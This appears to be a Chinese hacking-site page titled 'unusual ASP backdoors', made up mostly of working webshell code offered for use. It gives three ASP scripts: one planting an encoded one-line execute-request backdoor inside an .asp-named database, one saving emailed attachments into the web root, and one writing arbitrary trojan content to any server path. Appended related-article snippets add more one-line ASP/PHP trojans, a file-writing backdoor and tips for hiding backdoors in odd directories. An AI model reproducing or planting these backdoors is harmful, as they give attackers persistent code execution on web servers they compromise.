几种另类的ASP后门_木马相关

<% 
'code by netpatch
dim dbfile,sql 
db="netpatch.asp"
dbfile=server.MapPath(db) 

set ydb=server.CreateObject("ADOX.Catalog") 
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile 
set ydb=nothing 
if err.number=0 then 
Response.Write dbfile & " 创建成功<br> " 
else 
Response.Write "创建失败,原因: " & err.description 
Response.End 
end if 

Set Conn = Server.CreateObject("ADODB.Connection") 
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile 

sql="CREATE TABLE fdata([data] Memo)" 
conn.execute(sql) 

Set rs = CreateObject("ADODB.RecordSet") 
rs.Open "FData", conn, 1, 3 
rs.addnew 
rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>"   '(注释记得去掉!一句话后门 execute request(“n”))
rs.update 

%>

用Jmail写文件进硬盘

<% 
    'codz by kEvin1986 [S4T]
    User=Request.Form("User")
    Pass=Request.Form("Pass")
    Popserver=Request.Form("Popserver")

    if User<>"" and Pass<>"" and Popserver<>"" then
        Set objmail = CreateObject( "JMail.POP3" )
        objmail.Connect User, Pass, Popserver

        set objmsg=CreateObject("jmail.message")
        Set objmsg = objmail.Messages.item(1) 
        separator = ", "
        response.write "Attachment Name is: " & SaveAtta & "<br>"
        objmail.Disconnect
    End if

    Function SaveAtta()
        Set Attachments = objmsg.Attachments
        separator = ", "
        response.write "The size of this Attachment is: " & objmsg.size & "<br>"
        For i = 0 To Attachments.Count - 1
        If i = Attachments.Count - 1 Then
              separator = ""
        End If

        Set Theatta = Attachments(i)
        response.write Theatta.Name 
        Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
        Response.write "Oh!Hey Guy.....That's OK!"
        Next
    End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html> 

利用xml写马

<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>  
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%> 

时间: 2024-08-02 08:11:06

几种另类的ASP后门_木马相关的相关文章

七步倒┈→专用asp后门_木马相关

<html> <head> <title>七步倒┈→专用asp后门</title> </head> </html> <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSyst

几种另类的ASP后门

<%  'code by netpatch dim dbfile,sql  db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog")  ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile  set ydb=nothing  if er

隐藏修改文件时间和文件属性的ASP脚本_木马相关

复制代码 代码如下: <% '隐藏并修改文件的最后修改时间的aspshell '原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等:FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 ' 通过shell.application可以给文件重新设置一个最后修改时间 '2009/02/24 write by skyfire response.write "<form method=post>" response.write "

旁注-网站小助手旭方修改免杀asp版_木马相关

<%@LANGUAGE="VBScript" CODEPAGE="936"%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>旁注 - 网站小助手旭方修改免杀版</title> <style type="te

asp,php一句话木马整理方便查找木马_木马相关

特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见内容 <%If Request("#")<>"" Then Execute(Request("#"))%> execute(request("#")); eval(request("#")); php一句话木马 <?@include($_POST["

asp防止上传图片木马原理解析_木马相关

首先判断文件大小: if file.filesize<10 then Response.Write("<script>alert('您没有选择上传文件')</script>") Response.Write("<script>history.go(-1)</script>") Response.End() end if 将文件上传到服务器后,判断用户文件中的危险操作字符: set MyFile = server.

ASP网站中数据库被挂木马的解决方案_木马相关

本文我们详细介绍了ASP数据库被挂木马的详细解决方案之编程处理的方法,解决方案分为以下三步: 第一步: 为现有数据库做好备份. 第二步: 执行如下ASP文件,这样就可以去掉数据库当中的JS木马: 注:conn.asp自己去写了. '这里放入JS木马内容:请记得改为自己数据库中的JS木马内容. <!--#include file="conn.asp"--> <% Server.ScriptTimeOut=180 Set rstSchema = conn.OpenSche

一句话木马入侵EASYNEWS新闻管理系统_木马相关

实例一:"一句话木马"入侵"EASYNEWS新闻管理系统"      "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器. Step1 搜索入侵目标     使用了"EASYNEWS新闻管理系统 v1.01 正式版"的网站,在网站页面的底

隐藏ASP木马后门的两种方法_木马相关

1.建立非标准目录:mkdir images..\ 拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp 通过web访问ASP木马:http://ip/images../news.asp?action=login 如何删除非标准目录:rmdir images..\ /s 2.Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的: mkdir